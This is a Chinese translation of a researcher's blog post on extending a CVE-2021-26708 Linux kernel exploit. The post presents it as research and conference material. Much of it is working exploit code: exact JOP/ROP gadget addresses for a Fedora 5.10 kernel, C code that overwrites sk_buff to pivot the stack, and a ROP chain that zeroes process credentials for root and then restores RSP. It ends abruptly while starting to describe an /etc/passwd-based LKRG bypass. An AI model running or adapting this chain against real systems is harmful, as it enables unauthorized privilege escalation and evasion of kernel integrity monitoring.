深入解析Linux内核CVE-2021-26708漏洞利用与LKRG绕过技术

本文详细介绍了如何改进CVE-2021-26708漏洞利用,通过JOP/ROP链实现栈转移,并开发了新的Linux内核运行时防护(LKRG)绕过方法,包括代码补丁和权限提升技术。

改进Linux内核CVE-2021-26708漏洞利用以绕过LKRG

Aug 25, 2021

这是我之前文章《四字节的力量:利用Linux内核中的CVE-2021-26708》研究的后续。我的CVE-2021-26708概念验证漏洞利用在权限提升方面功能有限,因此我决定继续对该漏洞进行实验。本文描述了我如何改进漏洞利用、添加全功能ROP链,并实现了绕过Linux内核运行时防护(LKRG)的新方法。

今天,我在ZeroNights 2021上就此主题进行了演讲(幻灯片)。准备好面对大量汇编代码。让我们开始吧!

首先,概念验证演示视频:

有限的权限提升

在第一篇文章中,我描述了如何利用Linux虚拟套接字中的竞争条件实现4字节内存破坏,并逐步将其转变为内核内存的任意读写。在本节中,我将简要总结权限提升的实现方式及其局限性(详见第一篇文章)。

通过覆盖sk_buff内核对象的destructor_arg回调实现控制流劫持,从而执行任意写入:

1
void (*callback)(struct ubuf_info *, bool zerocopy_success);

当内核在skb_zcopy_clear()中调用此回调时,RDI寄存器存储第一个函数参数,即ubuf_info结构本身的地址。RSI寄存器存储第二个函数参数,值为1。

攻击者可以控制ubuf_info的内容,这很好。然而,其前8字节被回调函数指针占用。如上图所示,这是一个严重限制!因此,对于栈转移,ROP gadget应如下所示:

1
mov rsp, qword ptr [rdi + 8] ; ret

不幸的是,Fedora内核二进制文件vmlinuz-5.10.11-200.fc33.x86_64中没有类似的gadget。但使用ROPgadget,我找到了一个符合这些约束的gadget,可以在不进行栈转移的情况下执行任意写入:

1
mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret

如前所述,RDI存储由攻击者控制的数据的内核内存地址。RSI存储1,RCX存储0。换句话说,此gadget在攻击者控制的内存地址写入七个字节的0和一个字节的1。对于权限提升,我的概念验证漏洞利用将进程凭据中的uid、gid、effective uid和effective gid写为零。

我很高兴发明了这种奇怪的任意写入原语并成功实现了权限提升!然而,我对这个解决方案并不满意,因为它没有提供ROP的全部功能。此外,我必须两次劫持内核控制流来覆盖struct cred中的所有必要字段,这降低了漏洞利用的稳定性。

休息一段时间后,我决定再次探索可用的ROP gadget。

攻击者控制的寄存器

首先,我重新审视了控制流劫持时CPU寄存器的状态。我在执行destructor_arg回调的skb_zcopy_clear()中插入了断点:

1
2
3
$ gdb vmlinux
gdb-peda$ target remote :1234
gdb-peda$ break ./include/linux/skbuff.h:1481

当内核命中断点并即将执行回调时,调试器显示如下:

CPU寄存器存储了哪些内核指针?RDI和R8包含前面提到的ubuf_info指针。解引用该指针得到加载到RAX的回调函数指针。R9存储某些内核栈内存的地址(接近RSP值)。R12和R14寄存器包含内核堆中的地址,但我不知道它指向的对象。

此外,RBP寄存器包含skb_shared_info的地址。这是我的sk_buff对象从kmalloc-4k分配的地址加上SKB_SHINFO_OFFSET,即3776或0xec0(详见第一篇文章)。

RBP寄存器中的这个内核地址再次让我充满希望,因为它指向攻击者控制的内核内存。因此,我开始搜索可以利用它的ROP/JOP gadget。

神秘的JOP gadget

我开始检查所有涉及RBP的gadget,最终找到了许多类似这样的JOP gadget:

1
0xffffffff81711d33 : xchg eax, esp ; jmp qword ptr [rbp + 0x48]

很酷,RBP + 0x48指向攻击者控制的内核内存。我明白可以使用这样的JOP gadget链执行栈转移,然后进行普通的ROP。太好了!

为了快速实验,我使用了这个xchg eax, esp ; jmp qword ptr [rbp + 0x48] gadget,它将内核栈指针设置为用户空间内存。首先,我再次确认此gadget位于内核代码中。是的,acpi_idle_lpi_enter()的代码从0xffffffff81711d30开始,如果我们以三字节偏移查看该函数的代码,就会出现此gadget:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
$ gdb vmlinux
gdb-peda$ disassemble 0xffffffff81711d33
Dump of assembler code for function acpi_idle_lpi_enter:
   0xffffffff81711d30 <+0>:	call   0xffffffff810611c0 <__fentry__>
   0xffffffff81711d35 <+5>:	mov    rcx,QWORD PTR gs:[rip+0x7e915f4b]
   0xffffffff81711d3d <+13>:	test   rcx,rcx
   0xffffffff81711d40 <+16>:	je     0xffffffff81711d5e <acpi_idle_lpi_enter+46>

gdb-peda$ x/2i 0xffffffff81711d33
   0xffffffff81711d33 <acpi_idle_lpi_enter+3>:	xchg   esp,eax
   0xffffffff81711d34 <acpi_idle_lpi_enter+4>:	jmp    QWORD PTR [rbp+0x48]

然而,当我在控制流劫持期间尝试调用此gadget时,内核因页面错误而崩溃。我花了一些时间尝试调试它,并询问我的朋友Andrey Konovalov是否在ROP/JOP经验中遇到过此类情况。Andrey注意到内核崩溃报告中打印的代码转储的某些字节与内核二进制的objdump输出不同。

这是我处理Linux内核实践中第一次遇到这种情况,崩溃报告中的代码转储证明有用 :) 我将调试器附加到实时内核,看到acpi_idle_lpi_enter()内核函数的代码实际上已更改:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
$ gdb vmlinux
gdb-peda$ target remote :1234

gdb-peda$ disassemble 0xffffffff81711d33
Dump of assembler code for function acpi_idle_lpi_enter:
   0xffffffff81711d30 <+0>:	nop    DWORD PTR [rax+rax*1+0x0]
   0xffffffff81711d35 <+5>:	mov    rcx,QWORD PTR gs:[rip+0x7e915f4b]
   0xffffffff81711d3d <+13>:	test   rcx,rcx
   0xffffffff81711d40 <+16>:	je     0xffffffff81711d5e <acpi_idle_lpi_enter+46>

gdb-peda$ x/2i 0xffffffff81711d33
   0xffffffff81711d33 <acpi_idle_lpi_enter+3>:	add    BYTE PTR [rax],al
   0xffffffff81711d35 <acpi_idle_lpi_enter+5>:	mov    rcx,QWORD PTR gs:[rip+0x7e915f4b]

事实上,Linux内核可以在运行时修补其代码。在这种特定情况下,acpi_idle_lpi_enter()的代码被CONFIG_DYNAMIC_FTRACE更改。这种内核机制实际上改变了许多我感兴趣的JOP gadget!因此,我决定在实时虚拟机的内存中搜索ROP/JOP gadget,以避免此类修补情况。

我尝试了gdb-peda工具的ropsearch命令,但由于功能有限,它对我无效。然后我使用了另一种方法,使用gdb-peda dumpmem命令将整个内核代码区域转储到文件中。首先,我确定了虚拟机上的内核代码位置:

1
2
3
4
[root@localhost ~]# grep "_text" /proc/kallsyms
ffffffff81000000 T _text
[root@localhost ~]# grep "_etext" /proc/kallsyms 
ffffffff81e026d7 T _etext

然后我转储了_text和_etext之间的内存加上余数:

1
2
gdb-peda$ dumpmem kerndump 0xffffffff81000000 0xffffffff81e03000
Dumped 14692352 bytes to 'kerndump'

之后,可以使用ROPgadget在原始内存转储中搜索ROP/JOP gadget,并附加额外选项(感谢我的朋友Maxim Goryachy的建议):

1
# ./ROPgadget.py --binary kerndump --rawArch=x86 --rawMode=64 > rop_gadgets_5.10.11_kerndump

之后,我准备构建用于栈转移的JOP/ROP链。

用于栈转移的JOP/ROP链

我检查了内核内存转储中剩余的带有RBP的gadget,并成功构建了栈转移链:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
/* JOP/ROP gadget chain for stack pivoting: */

/* mov ecx, esp ; cwde ; jmp qword ptr [rbp + 0x48] */
#define STACK_PIVOT_1_MOV_ECX_ESP_JMP		(0xFFFFFFFF81768A43lu + kaslr_offset)

/* push rdi ; jmp qword ptr [rbp - 0x75] */
#define STACK_PIVOT_2_PUSH_RDI_JMP		(0xFFFFFFFF81B5FD0Alu + kaslr_offset)

/* pop rsp ; pop rbx ; ret */
#define STACK_PIVOT_3_POP_RSP_POP_RBX_RET	(0xFFFFFFFF8165E33Flu + kaslr_offset)

第一个JOP gadget将RSP(栈指针寄存器)的低32位保存到ECX,并跳转到受控内存中的下一个位置。这很重要,因为shellcode应在最后恢复原始RSP值。不幸的是,没有类似的JOP gadget可以保存整个RSP值。也就是说,我设法处理了一半,我很快就会描述我的技巧。

第二个JOP gadget将RDI中的ubuf_info地址推入内核栈,并跳转到攻击者控制的内核内存中的下一个位置。

最后,第三个ROP gadget将栈指针设置为ubuf_info结构的地址。然后它执行另一个pop指令,向RSP中的地址添加8字节。这很重要,因为如前所述,ubuf_info的前8字节包含第一个JOP gadget的地址。然而,在第二个pop指令之后,RSP指向全功能ROP链的开头。栈转移完成!

这就是漏洞利用在内存中准备此链以覆盖sk_buff内核对象的方式:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
/* mov ecx, esp ; cwde ; jmp qword ptr [rbp + 0x48] */
uinfo_p->callback = STACK_PIVOT_1_MOV_ECX_ESP_JMP;

unsigned long *jmp_addr_1 = (unsigned long *)(xattr_addr + SKB_SHINFO_OFFSET + 0x48);
/* push rdi ; jmp qword ptr [rbp - 0x75] */
*jmp_addr_1 = STACK_PIVOT_2_PUSH_RDI_JMP;

unsigned long *jmp_addr_2 = (unsigned long *)(xattr_addr + SKB_SHINFO_OFFSET - 0x75);
/* pop rsp ; pop rbx ; ret */
*jmp_addr_2 = STACK_PIVOT_3_POP_RSP_POP_RBX_RET;

查看解释此代码功能的图表:

用于EoP的ROP

当我实现栈转移后,我迅速使用普通ROP重新实现了权限提升(EoP):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
unsigned long *rop_gadget = (unsigned long *)(xattr_addr + MY_UINFO_OFFSET + 8);
int i = 0;

#define ROP_POP_RAX_RET			(0xFFFFFFFF81015BF4lu + kaslr_offset)
#define ROP_MOV_QWORD_PTR_RAX_0_RET	(0xFFFFFFFF8112E6D7lu + kaslr_offset)

/* 1. Perform privilege escalation */
rop_gadget[i++] = ROP_POP_RAX_RET;		/* pop rax ; ret */
rop_gadget[i++] = owner_cred + CRED_UID_GID_OFFSET;
rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_0_RET;	/* mov qword ptr [rax], 0 ; ret */
rop_gadget[i++] = ROP_POP_RAX_RET;		/* pop rax ; ret */
rop_gadget[i++] = owner_cred + CRED_EUID_EGID_OFFSET;
rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_0_RET;	/* mov qword ptr [rax], 0 ; ret */

这很简单:使用任意读取将owner_cred内核地址泄漏到用户空间(第一篇文章详细描述了这一点),ROP链的此部分将内核凭据中的uid、gid、effective uid和effective gid覆盖为0,这意味着超级用户。

然后,ROP链必须恢复原始RSP值并继续系统调用处理。我是如何实现这一点的?原始栈指针的低32位已保存在RCX中。其高32位可以从R9中提取(如我之前显示的gdb截图所示,此寄存器存储内核栈中的地址)。进行一些位操作,我们就完成了:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
#define ROP_MOV_RAX_R9_RET		(0xFFFFFFFF8106BDA4lu + kaslr_offset)
#define ROP_POP_RDX_RET			(0xFFFFFFFF8105ED4Dlu + kaslr_offset)
#define ROP_AND_RAX_RDX_RET		(0xFFFFFFFF8101AD34lu + kaslr_offset)
#define ROP_ADD_RAX_RCX_RET		(0xFFFFFFFF8102BA35lu + kaslr_offset)
#define ROP_PUSH_RAX_POP_RBX_RET	(0xFFFFFFFF810D64D1lu + kaslr_offset)
#define ROP_PUSH_RBX_POP_RSP_RET	(0xFFFFFFFF810749E9lu + kaslr_offset)

/* 2. Restore RSP and continue */
rop_gadget[i++] = ROP_MOV_RAX_R9_RET;	    /* mov rax, r9 ; ret */
rop_gadget[i++] = ROP_POP_RDX_RET;	    /* pop rdx ; ret */
rop_gadget[i++] = 0xffffffff00000000lu;
rop_gadget[i++] = ROP_AND_RAX_RDX_RET;	    /* and rax, rdx ; ret */
rop_gadget[i++] = ROP_ADD_RAX_RCX_RET;	    /* add rax, rcx ; ret */
rop_gadget[i++] = ROP_PUSH_RAX_POP_RBX_RET; /* push rax ; pop rbx ; ret */
rop_gadget[i++] = ROP_PUSH_RBX_POP_RSP_RET; /* push rbx ; add eax, 0x415d0060 ; pop rsp ; ret*/

R9值被复制到RAX。0xffffffff00000000位掩码保存在RDX中。然后对RAX和RDX执行按位AND操作。结果,RAX包含原始栈指针的高位。添加RCX值后,RAX寄存器包含原始RSP值,然后通过RBX加载到RSP(不幸的是,我的内核内存转储中没有mov rsp, rax ; ret gadget)。

最终的RET指令从shellcode返回,recv()系统调用处理继续,但现在漏洞利用进程以root权限运行。

哦,我一直想破解LKRG!

Linux内核运行时防护(LKRG)是一个惊人的项目!它是一个Linux内核模块,执行内核的运行时完整性检查并检测内核漏洞利用。LKRG反利用功能的目标是检测漏洞利用期间执行的特定内核数据破坏:

  • 非法权限提升(EoP)
  • 非法调用commit_creds()函数
  • 覆盖struct cred
  • 沙箱和命名空间逃逸
  • 非法更改CPU状态(例如,在x86_64上禁用SMEP和SMAP)
  • 非法更改内核.text和.rodata
  • 内核栈转移和ROP
  • 更多

该项目由Openwall托管。它主要由Adam ‘pi3’ Zabrocki在业余时间开发。LKRG目前处于测试版,但开发人员试图保持其超级稳定并在各种内核之间可移植。Adam还说:

我们知道LKRG在设计上是可以绕过的(正如我们一直公开说的),但这样的绕过既不容易也不便宜/可靠。

Ilya Matveychikov在这方面做了一些工作,将他的LKRG绕过方法收集在一个单独的存储库中。然而,Adam分析了Ilya的工作并改进了LKRG以减轻这些绕过方法。

因此,我决定进一步升级我的CVE-2021-26708漏洞利用,并开发一种绕过LKRG的新方法。现在事情变得有趣了!

我的第一个想法是:

好的,LKRG正在跟踪非法EoP,但它不跟踪对’/etc/passwd’的访问。 我可以尝试通过禁用’/etc/passwd’中的root密码来绕过它! 之后执行’su’对LKRG来说应该看起来完全

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计